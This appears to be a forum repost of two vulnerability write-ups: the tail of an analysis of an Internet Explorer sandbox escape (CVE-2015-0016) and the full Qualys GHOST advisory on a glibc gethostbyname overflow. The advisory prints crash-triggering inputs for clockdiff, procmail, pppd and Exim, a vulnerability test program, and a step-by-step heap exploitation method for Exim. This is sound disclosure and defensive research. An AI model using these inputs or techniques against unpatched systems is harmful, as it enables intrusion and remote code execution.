the Remote Desktop application if it’s located in the System directory (which is C:\Windows\System32 for the 32-bit version and C:\Windows\SysWOW64 for the 64-bit version). If these two match, the process is created, otherwise an error is returned. The root cause of the vulnerability is simple: the correct purpose of the StartRemoteDesktop function is to launch the Remote Desktop application, mstsc.exe. However, when the programmer implemented this function checking of thelpApplicationName parameter was not implemented. This means that the function can be used to launch arbitrary processes if the parameter lpApplicationName is modified. Below is the code for the unpatched version: Figure 5. Unpatched code Escaping the Internet Explorer sandbox In order to escape the Internet Explorer sandbox, we first need to see how sandbox elevation polices are implemented. Elevation polices determine how a process or a COM server will be launched, and with what privilege level. These are stored in registry keys under: HKLM\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{GUID} Each registry key has the following values under it: AppName: Application executable name AppPath: Application path Policy: this value specifies the privilege level of the executable, and can be any of the following values: Figure 6. Varying policy settings We will look at processes with the Policy value of 3. At this level, the Internet Explorer sandbox silently launches an application as a medium integrity process under the Internet Explorer broker process. One such file is TSWbPryx.exe, the ActiveX control tied to MS15-004. Figure 7. Settings in Windows Registry for TSWbPryx.exe If an attacker can use a separate vulnerability to obtain a low integrity process within the sandbox, they can use theTSWbPrxy ActiveX control to call StartRemoteDesktop. This will launch an application (chosen by the attacker) with medium integrity, like its parent process TSWbPrxy.exe. We can combine this vulnerability with CVE-2014-6332 (which we’ve previously analyzed)to do this. Combined, we can escape the Internet Explorer sandbox and can run an app with medium integrity. In addition, used correctly CVE-2014-6332 can be used to bypass ActiveX security mechanisms. This will allow Internet Explorer to run these controls without a dialog (like the one below) being shown to the user: Figure 8. ActiveX control alert The end result will be an attacker able to run their specified application with medium integrity, as seen in the screenshot below. Figure 9. Calculator being run with medium integrity Solutions and Recommendations While this vulnerability could pose a risk used with other vulnerabilities, it’s worth noting that Microsoft has already patched these issues as part of their regular Patch Tuesday cycles. Users with up-to-date systems would not be at risk, and neither would users of other browsers. In addition, thee enhanced sandbox mentioned in this blog post is not present in older versions of Windows, such as Windows 7. While it can be bypassed (with effort), it is still an effective method to protect against many attacks. Using newer versions of Windows and Internet Explorer allows for improved exploit mitigation techniques to be used. Sursa: http://blog.trendmicro.com/trendlabs-security-intelligence/cve-2015-0016-escaping-the-internet-explorer-sandbox/

GHOST: glibc gethostbyname buffer overflow Qualys Security Advisory CVE-2015-0235 GHOST: glibc gethostbyname buffer overflow --[ Contents ]---------------------------------------------------------------- 1 - Summary 2 - Analysis 3 - Mitigating factors 4 - Case studies 5 - Exploitation 6 - Acknowledgments --[ 1 - Summary ]------------------------------------------------------------- During a code audit performed internally at Qualys, we discovered a buffer overflow in the __nss_hostname_digits_dots() function of the GNU C Library (glibc). This bug is reachable both locally and remotely via the gethostbyname*() functions, so we decided to analyze it -- and its impact -- thoroughly, and named this vulnerability "GHOST". Our main conclusions are: - Via gethostbyname() or gethostbyname2(), the overflowed buffer is located in the heap. Via gethostbyname_r() or gethostbyname2_r(), the overflowed buffer is caller-supplied (and may therefore be located in the heap, stack, .data, .bss, etc; however, we have seen no such call in practice). - At most sizeof(char *) bytes can be overwritten (ie, 4 bytes on 32-bit machines, and 8 bytes on 64-bit machines). Bytes can be overwritten only with digits ('0'...'9'), dots ('.'), and a terminating null character ('\0'). - Despite these limitations, arbitrary code execution can be achieved. As a proof of concept, we developed a full-fledged remote exploit against the Exim mail server, bypassing all existing protections (ASLR, PIE, and NX) on both 32-bit and 64-bit machines. We will publish our exploit as a Metasploit module in the near future. - The first vulnerable version of the GNU C Library is glibc-2.2, released on November 10, 2000. - We identified a number of factors that mitigate the impact of this bug. In particular, we discovered that it was fixed on May 21, 2013 (between the releases of glibc-2.17 and glibc-2.18). Unfortunately, it was not recognized as a security threat; as a result, most stable and long-term-support distributions were left exposed (and still are): Debian 7 (wheezy), Red Hat Enterprise Linux 6 & 7, CentOS 6 & 7, Ubuntu 12.04, for example. --[ 2 - Analysis ]------------------------------------------------------------ The vulnerable function, __nss_hostname_digits_dots(), is called internally by the glibc in nss/getXXbyYY.c (the non-reentrant version) and nss/getXXbyYY_r.c (the reentrant version). However, the calls are surrounded by #ifdef HANDLE_DIGITS_DOTS, a macro defined only in: - inet/gethstbynm.c - inet/gethstbynm2.c - inet/gethstbynm_r.c - inet/gethstbynm2_r.c - nscd/gethstbynm3_r.c These files implement the gethostbyname*() family, and hence the only way to reach __nss_hostname_digits_dots() and its buffer overflow. The purpose of this function is to avoid expensive DNS lookups if the hostname argument is already an IPv4 or IPv6 address. The code below comes from glibc-2.17: 35 int 36 __nss_hostname_digits_dots (const char *name, struct hostent *resbuf, 37 char **buffer, size_t *buffer_size, 38 size_t buflen, struct hostent **result, 39 enum nss_status *status, int af, int *h_errnop) 40 { .. 57 if (isdigit (name[0]) || isxdigit (name[0]) || name[0] == ':') 58 { 59 const char *cp; 60 char *hostname; 61 typedef unsigned char host_addr_t[16]; 62 host_addr_t *host_addr; 63 typedef char *host_addr_list_t[2]; 64 host_addr_list_t *h_addr_ptrs; 65 char **h_alias_ptr; 66 size_t size_needed; .. 85 size_needed = (sizeof (*host_addr) 86 + sizeof (*h_addr_ptrs) + strlen (name) + 1); 87 88 if (buffer_size == NULL) 89 { 90 if (buflen < size_needed) 91 { .. 95 goto done; 96 } 97 } 98 else if (buffer_size != NULL && *buffer_size < size_needed) 99 { 100 char *new_buf; 101 *buffer_size = size_needed; 102 new_buf = (char *) realloc (*buffer, *buffer_size); 103 104 if (new_buf == NULL) 105 { ... 114 goto done; 115 } 116 *buffer = new_buf; 117 } ... 121 host_addr = (host_addr_t *) *buffer; 122 h_addr_ptrs = (host_addr_list_t *) 123 ((char *) host_addr + sizeof (*host_addr)); 124 h_alias_ptr = (char **) ((char *) h_addr_ptrs + sizeof (*h_addr_ptrs)); 125 hostname = (char *) h_alias_ptr + sizeof (*h_alias_ptr); 126 127 if (isdigit (name[0])) 128 { 129 for (cp = name;; ++cp) 130 { 131 if (*cp == '\0') 132 { 133 int ok; 134 135 if (*--cp == '.') 136 break; ... 142 if (af == AF_INET) 143 ok = __inet_aton (name, (struct in_addr *) host_addr); 144 else 145 { 146 assert (af == AF_INET6); 147 ok = inet_pton (af, name, host_addr) > 0; 148 } 149 if (! ok) 150 { ... 154 goto done; 155 } 156 157 resbuf->h_name = strcpy (hostname, name); ... 194 goto done; 195 } 196 197 if (!isdigit (*cp) && *cp != '.') 198 break; 199 } 200 } ... Lines 85-86 compute the size_needed to store three (3) distinct entities in buffer: host_addr, h_addr_ptrs, and name (the hostname). Lines 88-117 make sure the buffer is large enough: lines 88-97 correspond to the reentrant case, lines 98-117 to the non-reentrant case. Lines 121-125 prepare pointers to store four (4) distinct entities in buffer: host_addr, h_addr_ptrs, h_alias_ptr, and hostname. The sizeof (*h_alias_ptr) -- the size of a char pointer -- is missing from the computation of size_needed. The strcpy() on line 157 should therefore allow us to write past the end of buffer, at most (depending on strlen(name) and alignment) 4 bytes on 32-bit machines, or 8 bytes on 64-bit machines. There is a similar strcpy() after line 200, but no buffer overflow: 236 size_needed = (sizeof (*host_addr) 237 + sizeof (*h_addr_ptrs) + strlen (name) + 1); ... 267 host_addr = (host_addr_t *) *buffer; 268 h_addr_ptrs = (host_addr_list_t *) 269 ((char *) host_addr + sizeof (*host_addr)); 270 hostname = (char *) h_addr_ptrs + sizeof (*h_addr_ptrs); ... 289 resbuf->h_name = strcpy (hostname, name); In order to reach the overflow at line 157, the hostname argument must meet the following requirements: - Its first character must be a digit (line 127). - Its last character must not be a dot (line 135). - It must comprise only digits and dots (line 197) (we call this the "digits-and-dots" requirement). - It must be long enough to overflow the buffer. For example, the non-reentrant gethostbyname*() functions initially allocate their buffer with a call to malloc(1024) (the "1-KB" requirement). - It must be successfully parsed as an IPv4 address by inet_aton() (line 143), or as an IPv6 address by inet_pton() (line 147). Upon careful analysis of these two functions, we can further refine this "inet-aton" requirement: . It is impossible to successfully parse a "digits-and-dots" hostname as an IPv6 address with inet_pton() (':' is forbidden). Hence it is impossible to reach the overflow with calls to gethostbyname2() or gethostbyname2_r() if the address family argument is AF_INET6. . Conclusion: inet_aton() is the only option, and the hostname must have one of the following forms: "a.b.c.d", "a.b.c", "a.b", or "a", where a, b, c, d must be unsigned integers, at most 0xfffffffful, converted successfully (ie, no integer overflow) by strtoul() in decimal or octal (but not hexadecimal, because 'x' and 'X' are forbidden). --[ 3 - Mitigating factors ]-------------------------------------------------- The impact of this bug is reduced significantly by the following reasons: - A patch already exists (since May 21, 2013), and has been applied and tested since glibc-2.18, released on August 12, 2013: [BZ #15014] * nss/getXXbyYY_r.c (INTERNAL (REENTRANT_NAME)) [HANDLE_DIGITS_DOTS]: Set any_service when digits-dots parsing was successful. * nss/digits_dots.c (__nss_hostname_digits_dots): Remove redundant variable declarations and reallocation of buffer when parsing as IPv6 address. Always set NSS status when called from reentrant functions. Use NETDB_INTERNAL instead of TRY_AGAIN when buffer too small. Correct computation of needed size. * nss/Makefile (tests): Add test-digits-dots. * nss/test-digits-dots.c: New test. - The gethostbyname*() functions are obsolete; with the advent of IPv6, recent applications use getaddrinfo() instead. - Many programs, especially SUID binaries reachable locally, use gethostbyname() if, and only if, a preliminary call to inet_aton() fails. However, a subsequent call must also succeed (the "inet-aton" requirement) in order to reach the overflow: this is impossible, and such programs are therefore safe. - Most of the other programs, especially servers reachable remotely, use gethostbyname() to perform forward-confirmed reverse DNS (FCrDNS, also known as full-circle reverse DNS) checks. These programs are generally safe, because the hostname passed to gethostbyname() has normally been pre-validated by DNS software: . "a string of labels each containing up to 63 8-bit octets, separated by dots, and with a maximum total of 255 octets." This makes it impossible to satisfy the "1-KB" requirement. . Actually, glibc's DNS resolver can produce hostnames of up to (almost) 1025 characters (in case of bit-string labels, and special or non-printable characters). But this introduces backslashes ('\\') and makes it impossible to satisfy the "digits-and-dots" requirement. --[ 4 - Case studies ]-------------------------------------------------------- In this section, we will analyze real-world examples of programs that call the gethostbyname*() functions, but we first introduce a small test program that checks whether a system is vulnerable or not: [user@fedora-19 ~]$ cat > GHOST.c << EOF #include <netdb.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #define CANARY "in_the_coal_mine" struct { char buffer[1024]; char canary[sizeof(CANARY)]; } temp = { "buffer", CANARY }; int main(void) { struct hostent resbuf; struct hostent *result; int herrno; int retval; /*** strlen (name) = size_needed - sizeof (*host_addr) - sizeof (*h_addr_ptrs) - 1; ***/ size_t len = sizeof(temp.buffer) - 16*sizeof(unsigned char) - 2*sizeof(char *) - 1; char name[sizeof(temp.buffer)]; memset(name, '0', len); name[len] = '\0'; retval = gethostbyname_r(name, &resbuf, temp.buffer, sizeof(temp.buffer), &result, &herrno); if (strcmp(temp.canary, CANARY) != 0) { puts("vulnerable"); exit(EXIT_SUCCESS); } if (retval == ERANGE) { puts("not vulnerable"); exit(EXIT_SUCCESS); } puts("should not happen"); exit(EXIT_FAILURE); } EOF [user@fedora-19 ~]$ gcc GHOST.c -o GHOST On Fedora 19 (glibc-2.17): [user@fedora-19 ~]$ ./GHOST vulnerable On Fedora 20 (glibc-2.18): [user@fedora-20 ~]$ ./GHOST not vulnerable ----[ 4.1 - The GNU C Library ]----------------------------------------------- The glibc itself contains a few calls to gethostbyname*() functions. In particular, getaddrinfo() calls gethostbyname2_r() if, but only if, a first call to inet_aton() fails: in accordance with the "inet-aton" requirement, these internal calls are safe. For example, eglibc-2.13/sysdeps/posix/getaddrinfo.c: at->family = AF_UNSPEC; ... if (__inet_aton (name, (struct in_addr *) at->addr) != 0) { if (req->ai_family == AF_UNSPEC || req->ai_family == AF_INET) at->family = AF_INET; else if (req->ai_family == AF_INET6 && (req->ai_flags & AI_V4MAPPED)) { ... at->family = AF_INET6; } else return -EAI_ADDRFAMILY; ... } ... if (at->family == AF_UNSPEC && (req->ai_flags & AI_NUMERICHOST) == 0) { ... size_t tmpbuflen = 512; char *tmpbuf = alloca (tmpbuflen); ... rc = __gethostbyname2_r (name, family, &th, tmpbuf, tmpbuflen, &h, &herrno); ... } ----[ 4.2 - mount.nfs ]------------------------------------------------------- Similarly, mount.nfs (a SUID-root binary) is not vulnerable: if (inet_aton(hostname, &addr->sin_addr)) return 0; if ((hp = gethostbyname(hostname)) == NULL) { nfs_error(_("%s: can't get address for %s\n"), progname, hostname); return -1; } ----[ 4.3 - mtr ]------------------------------------------------------------- mtr (another SUID-root binary) is not vulnerable either, because it calls getaddrinfo() instead of gethostbyname*() functions on any modern (ie, IPv6-enabled) system: #ifdef ENABLE_IPV6 /* gethostbyname2() is deprecated so we'll use getaddrinfo() instead. */ ... error = getaddrinfo( Hostname, NULL, &hints, &res ); if ( error ) { if (error == EAI_SYSTEM) perror ("Failed to resolve host"); else fprintf (stderr, "Failed to resolve host: %s\n", gai_strerror(error)); exit( EXIT_FAILURE ); } ... #else host = gethostbyname(Hostname); if (host == NULL) { herror("mtr gethostbyname"); exit(1); } ... #endif ----[ 4.4 - iputils ]--------------------------------------------------------- ------[ 4.4.1 - clockdiff ]--------------------------------------------------- clockdiff is vulnerable in a straightforward manner: hp = gethostbyname(argv[1]); if (hp == NULL) { fprintf(stderr, "clockdiff: %s: host not found\n", argv[1]); exit(1); } [user@fedora-19-32b ~]$ ls -l /usr/sbin/clockdiff -rwxr-xr-x. 1 root root 15076 Feb 1 2013 /usr/sbin/clockdiff [user@fedora-19-32b ~]$ getcap /usr/sbin/clockdiff /usr/sbin/clockdiff = cap_net_raw+ep [user@fedora-19-32b ~]$ /usr/sbin/clockdiff `python -c "print '0' * $((0x10000-16*1-2*4-1-4))"` .Segmentation fault [user@fedora-19-32b ~]$ /usr/sbin/clockdiff `python -c "print '0' * $((0x20000-16*1-2*4-1-4))"` Segmentation fault [user@fedora-19-32b ~]$ dmesg ... [202071.118929] clockdiff[3610]: segfault at b86711f4 ip b75de0c6 sp bfc191f0 error 6 in libc-2.17.so[b7567000+1b8000] [202086.144336] clockdiff[3618]: segfault at b90d0d24 ip b75bb0c6 sp bf8e9dc0 error 6 in libc-2.17.so[b7544000+1b8000] ------[ 4.4.2 - ping and arping ]--------------------------------------------- ping and arping call gethostbyname() and gethostbyname2(), respectively, if and only if inet_aton() fails first. This time, however, there is another function call in between (Fedora, for example, does define USE_IDN): --------[ 4.4.2.1 - ping ]---------------------------------------------------- if (inet_aton(target, &whereto.sin_addr) == 1) { ... } else { char *idn; #ifdef USE_IDN int rc; ... rc = idna_to_ascii_lz(target, &idn, 0); if (rc != IDNA_SUCCESS) { fprintf(stderr, "ping: IDN encoding failed: %s\n", idna_strerror(rc)); exit(2); } #else idn = target; #endif hp = gethostbyname(idn); --------[ 4.4.2.2 - arping ]-------------------------------------------------- if (inet_aton(target, &dst) != 1) { struct hostent *hp; char *idn = target; #ifdef USE_IDN int rc; rc = idna_to_ascii_lz(target, &idn, 0); if (rc != IDNA_SUCCESS) { fprintf(stderr, "arping: IDN encoding failed: %s\n", idna_strerror(rc)); exit(2); } #endif hp = gethostbyname2(idn, AF_INET); --------[ 4.4.2.3 - Analysis ]------------------------------------------------ If idna_to_ascii_lz() modifies the target hostname, the first call to inet_aton() could fail and the second call (internal to gethostbyname()) could succeed. For example, idna_to_ascii_lz() transforms any Unicode dot-like character (0x3002, 0xFF0E, 0xFF61) into an ASCII dot ("."). But it also restricts the length of a domain label to 63 characters: this makes it impossible to reach 1024 bytes (the "1-KB" requirement) with only 4 labels and 3 dots (the "inet-aton" requirement). Unless inet_aton() (actually, strtoul()) can be tricked into accepting more than 3 dots? Indeed, idna_to_ascii_lz() does not restrict the total length of a domain name. glibc supports "thousands' grouping characters" (man 3 printf); for example, sscanf(str, "%'lu", &ul) yields 1000 when processing any of the following input strings: - "1,000" in an English locale; - "1 000" in a French locale; and - "1.000" in a German or Spanish locale. strtoul() implements this "number grouping" too, but its use is limited to internal glibc functions. Conclusion: more than 3 dots is impossible, and neither ping nor arping is vulnerable. ----[ 4.5 - procmail ]-------------------------------------------------------- procmail (a SUID-root and SGID-mail binary) is vulnerable through its "comsat/biff" feature: #define COMSAThost "localhost" /* where the biff/comsat daemon lives */ ... #define SERV_ADDRsep '@' /* when overriding in COMSAT=serv@addr */ int setcomsat(chp)const char*chp; { char*chad; ... chad=strchr(chp,SERV_ADDRsep); /* @ separator? */ ... if(chad) *chad++='\0'; /* split the specifier */ if(!chad||!*chad) /* no host */ #ifndef IP_localhost /* Is "localhost" preresolved? */ chad=COMSAThost; /* nope, use default */ #else /* IP_localhost */ { ... } else #endif /* IP_localhost */ { ... if(!(host=gethostbyname(chad))||!host->h_0addr_list) user@debian-7-2-32b:~$ ls -l /usr/bin/procmail -rwsr-sr-x 1 root mail 83912 Jun 6 2012 /usr/bin/procmail user@debian-7-2-32b:~$ /usr/bin/procmail 'VERBOSE=on' 'COMSAT=@'`python -c "print '0' * $((0x500-16*1-2*4-1-4))"` < /dev/null ... *** glibc detected *** /usr/bin/procmail: free(): invalid next size (normal): 0x0980de30 *** ======= Backtrace: ========= /lib/i386-linux-gnu/i686/cmov/libc.so.6(+0x70f01)[0xb76b2f01] /lib/i386-linux-gnu/i686/cmov/libc.so.6(+0x72768)[0xb76b4768] /lib/i386-linux-gnu/i686/cmov/libc.so.6(cfree+0x6d)[0xb76b781d] /usr/bin/procmail[0x80548ec] /lib/i386-linux-gnu/i686/cmov/libc.so.6(__libc_start_main+0xe6)[0xb7658e46] /usr/bin/procmail[0x804bb55] ======= Memory map: ======== ... 0980a000-0982b000 rw-p 00000000 00:00 0 [heap] ... Aborted user@debian-7-2-32b:~$ _COMSAT_='COMSAT=@'`python -c "print '0' * $((0x500-16*1-2*4-1-4))"` user@debian-7-2-32b:~$ /usr/bin/procmail "$_COMSAT_" "$_COMSAT_"1234 < /dev/null Segmentation fault user@debian-7-2-32b:~$ /usr/bin/procmail "$_COMSAT_"12345670 "$_COMSAT_"123456701234 < /dev/null Segmentation fault user@debian-7-2-32b:~$ dmesg ... [211409.564917] procmail[4549]: segfault at c ip b768e5a4 sp bfcb53d8 error 4 in libc-2.13.so[b761c000+15c000] [211495.820710] procmail[4559]: segfault at b8cb290c ip b763c5a4 sp bf870c98 error 4 in libc-2.13.so[b75ca000+15c000] ----[ 4.6 - pppd ]------------------------------------------------------------ pppd (yet another SUID-root binary) calls gethostbyname() if a preliminary call to inet_addr() (a simple wrapper around inet_aton()) fails. "The inet_addr() function converts the Internet host address cp from IPv4 numbers-and-dots notation into binary data in network byte order. If the input is invalid, INADDR_NONE (usually -1) is returned. Use of this function is problematic because -1 is a valid address (255.255.255.255)." A failure for inet_addr(), but a success for inet_aton(), and consequently a path to the buffer overflow. user@ubuntu-12-04-32b:~$ ls -l /usr/sbin/pppd -rwsr-xr-- 1 root dip 273272 Feb 3 2011 /usr/sbin/pppd user@ubuntu-12-04-32b:~$ id uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev) ------[ 4.6.1 - ms-dns option ]----------------------------------------------- static int setdnsaddr(argv) char **argv; { u_int32_t dns; struct hostent *hp; dns = inet_addr(*argv); if (dns == (u_int32_t) -1) { if ((hp = gethostbyname(*argv)) == NULL) { option_error("invalid address parameter '%s' for ms-dns option", *argv); return 0; } dns = *(u_int32_t *)hp->h_addr; } user@ubuntu-12-04-32b:~$ /usr/sbin/pppd 'dryrun' 'ms-dns' `python -c "print '0' * $((0x1000-16*1-2*4-16-4))"`'377.255.255.255' *** glibc detected *** /usr/sbin/pppd: free(): invalid next size (normal): 0x09c0f928 *** ======= Backtrace: ========= /lib/i386-linux-gnu/libc.so.6(+0x75ee2)[0xb75e1ee2] /lib/i386-linux-gnu/libc.so.6(+0x65db5)[0xb75d1db5] /lib/i386-linux-gnu/libc.so.6(fopen+0x2b)[0xb75d1deb] /usr/sbin/pppd(options_from_file+0xa8)[0x8064948] /usr/sbin/pppd(options_for_tty+0xde)[0x8064d7e] /usr/sbin/pppd(tty_process_extra_options+0xa4)[0x806e1a4] /usr/sbin/pppd(main+0x1cf)[0x8050b2f] /lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xf3)[0xb75854d3] ======= Memory map: ======== ... 09c0c000-09c2d000 rw-p 00000000 00:00 0 [heap] ... Aborted (core dumped) ------[ 4.6.2 - ms-wins option ]---------------------------------------------- static int setwinsaddr(argv) char **argv; { u_int32_t wins; struct hostent *hp; wins = inet_addr(*argv); if (wins == (u_int32_t) -1) { if ((hp = gethostbyname(*argv)) == NULL) { option_error("invalid address parameter '%s' for ms-wins option", *argv); return 0; } wins = *(u_int32_t *)hp->h_addr; } user@ubuntu-12-04-32b:~$ /usr/sbin/pppd 'dryrun' 'ms-wins' `python -c "print '0' * $((0x1000-16*1-2*4-16-4))"`'377.255.255.255' *** glibc detected *** /usr/sbin/pppd: free(): invalid next size (normal): 0x08a64928 *** ======= Backtrace: ========= /lib/i386-linux-gnu/libc.so.6(+0x75ee2)[0xb757aee2] /lib/i386-linux-gnu/libc.so.6(+0x65db5)[0xb756adb5] /lib/i386-linux-gnu/libc.so.6(fopen+0x2b)[0xb756adeb] /usr/sbin/pppd(options_from_file+0xa8)[0x8064948] /usr/sbin/pppd(options_for_tty+0xde)[0x8064d7e] /usr/sbin/pppd(tty_process_extra_options+0xa4)[0x806e1a4] /usr/sbin/pppd(main+0x1cf)[0x8050b2f] /lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xf3)[0xb751e4d3] ======= Memory map: ======== ... 08a61000-08a82000 rw-p 00000000 00:00 0 [heap] ... Aborted (core dumped) ------[ 4.6.3 - socket option ]----------------------------------------------- static int open_socket(dest) char *dest; { char *sep, *endp = NULL; int sock, port = -1; u_int32_t host; struct hostent *hent; ... sep = strchr(dest, ':'); if (sep != NULL) port = strtol(sep+1, &endp, 10); if (port < 0 || endp == sep+1 || sep == dest) { error("Can't parse host:port for socket destination"); return -1; } *sep = 0; host = inet_addr(dest); if (host == (u_int32_t) -1) { hent = gethostbyname(dest); if (hent == NULL) { error("%s: unknown host in socket option", dest); *sep = ':'; return -1; } host = *(u_int32_t *)(hent->h_addr_list[0]); } user@ubuntu-12-04-32b:~$ /usr/sbin/pppd 'socket' `python -c "print '0' * $((0x1000-16*1-2*4-16-4))"`'377.255.255.255:1' user@ubuntu-12-04-32b:~$ *** glibc detected *** /usr/sbin/pppd: malloc(): memory corruption: 0x09cce270 *** ----[ 4.7 - Exim ]------------------------------------------------------------ The Exim mail server is exploitable remotely if configured to perform extra security checks on the HELO and EHLO commands ("helo_verify_hosts" or "helo_try_verify_hosts" option, or "verify = helo" ACL); we developed a reliable and fully-functional exploit that bypasses all existing protections (ASLR, PIE, NX) on 32-bit and 64-bit machines. user@debian-7-7-64b:~$ grep helo /var/lib/exim4/config.autogenerated | grep verify helo_verify_hosts = * user@debian-7-7-64b:~$ python -c "print '0' * $((0x500-16*1-2*8-1-8))" 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 user@debian-7-7-64b:~$ telnet 127.0.0.1 25 Trying 127.0.0.1... Connected to 127.0.0.1. Escape character is '^]'. 220 debian-7-7-64b ESMTP Exim 4.80 ... HELO 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 Connection closed by foreign host. user@debian-7-7-64b:~$ dmesg ... [ 1715.842547] exim4[2562]: segfault at 7fabf1f0ecb8 ip 00007fabef31bd04 sp 00007fffb427d5b0 error 6 in libc-2.13.so[7fabef2a2000+182000] --[ 5 - Exploitation ]-------------------------------------------------------- ----[ 5.1 - Code execution ]-------------------------------------------------- In this section, we describe how we achieve remote code execution against the Exim SMTP mail server, bypassing the NX (No-eXecute) protection and glibc's malloc hardening. First, we overflow gethostbyname's heap-based buffer and partially overwrite the size field of the next contiguous free chunk of memory with a slightly larger size (we overwrite only 3 bytes of the size field; in any case, we cannot overflow more than 4 bytes on 32-bit machines, or 8 bytes on 64-bit machines): |< malloc_chunk | -----|----------------------|---+--------------------|----- ... | gethostbyname buffer |p|s|f|b|F|B| free chunk | ... -----|----------------------|---+--------------------|----- | X| |------------------------->| overflow where: struct malloc_chunk { INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */ INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */ struct malloc_chunk* fd; /* double links -- used only if free. */ struct malloc_chunk* bk; /* Only used for large blocks: pointer to next larger size. */ struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */ struct malloc_chunk* bk_nextsize; }; and: X marks the spot where the crucial memory corruption takes place. As a result, this artificially-enlarged free chunk, which is managed by glibc's malloc, overlaps another block of memory, Exim's current_block, which is managed by Exim's internal memory allocator: |< malloc_chunk |< storeblock | | -----|----------------------|------------------------|---------------+---|----- ... | gethostbyname buffer |p|s|f|b|F|B| free chunk |n|l| current_block | ... -----|----------------------|------------------------|---------------+---|----- | | |<-------------------------------------->| artificially enlarged free chunk where: typedef struct storeblock { struct storeblock *next; size_t length; } storeblock; Then, we partially allocate the enlarged free chunk and overwrite the beginning of Exim's current_block of memory (the "storeblock" structure) with arbitrary data. In particular, we overwrite its "next" field: |< malloc_chunk |< storeblock | | -----|----------------------|------------------------|--------+----------|----- ... | gethostbyname buffer |p|s|f|b|F|B| aaaaaaaaaa |n|l| current_block | ... -----|----------------------|------------------------|--------+----------|----- | X | |<------------------------------->| allocated chunk This effectively turns gethostbyname's buffer overflow into a write-anything-anywhere primitive, because we control both the pointer to the next block of memory returned by Exim's allocator (the hijacked "next" pointer) and the data allocated (a null-terminated string, the argument of an SMTP command we send to Exim). Finally, we use this write-anything-anywhere primitive to overwrite Exim's run-time configuration, which is cached in the heap memory. More precisely, we overwrite Exim's Access Control Lists (ACLs), and achieve arbitrary command execution thanks to Exim's "${run{<command> <args>}}" string expansion mechanism: |< storeblock | -----|-------------------------------|---------------|-------------------|----- ... | Exim's run-time configuration | ... .. .. ... |n|l| current_block | ... -----|----x--------------------------|---------------|x------------------|----- | | '<------------------------------------------' hijacked next pointer |< ACLs >| -----|----+-----+--------+------+----|---------------|-------------------|----- ... | Exim's run-time configuration | ... .. .. ... | old current_block | ... -----|----+-----+--------+------+----|---------------|-------------------|----- | XXXXXXXX | |<------------------->| new current_block ----[ 5.2 - Information leak ]------------------------------------------------ The success of this exploit depends on an important piece of information: the address of Exim's run-time configuration in the heap. In this section, we describe how we obtain this address, bypassing the ASLR (Address Space Layout Randomization) and PIE (Position Independent Executable) protections. First, we overflow gethostbyname's heap-based buffer and partially overwrite the size field of the next contiguous free chunk of memory with a slightly larger size: |< malloc_chunk | -----|----------------------|---+-------------------------|----- ... | gethostbyname buffer |p|s|f|b|F|B| next free chunk | ... -----|----------------------|---+-------------------------|----- | X| |------------------------->| overflow As a result, this artificially-enlarged free chunk overlaps another block of memory, where Exim saves the error message "503 sender not yet given\r\n" for later use: |< malloc_chunk | -----|----------------------|-----------------------------|----------+----|----- ... | gethostbyname buffer |p|s|f|b|F|B| real free chunk | error message | ... -----|----------------------|-----------------------------|----------+----|----- | | |<-------------------------------------->| artificially enlarged free chunk Then, we partially allocate the artificially-enlarged free chunk, thereby splitting it in two: the newly allocated chunk, and a smaller, free chunk (the remainder from the split). The malloc_chunk header for this remaining free chunk overwrites the very beginning of the saved error message with a pointer to the heap (the fd_nextsize pointer): |< malloc_chunk |< malloc_chunk | | -----|----------------------|---------------------+-------|----------+----|----- ... | gethostbyname buffer |p|s|f|b|F|B| aaaaaaa |p|s|f|b|F|B| r message | ... -----|----------------------|---------------------+-------|----------+----|----- | | X | |<------------------->|<---------------->| allocated chunk free chunk Finally, we send an invalid SMTP command to Exim, and retrieve the fd_nextsize heap pointer from Exim's SMTP response, which includes the corrupted error message. This effectively turns gethostbyname's buffer overflow into an information leak; moreover, it allows us to distinguish between 32-bit and 64-bit machines. --[ 6 - Acknowledgments ]----------------------------------------------------- We would like to thank Alexander Peslyak of the Openwall Project for his help with the disclosure process of this vulnerability. Sursa: https://www.qualys.com/research/security-advisories/GHOST-CVE-2015-0235.txt

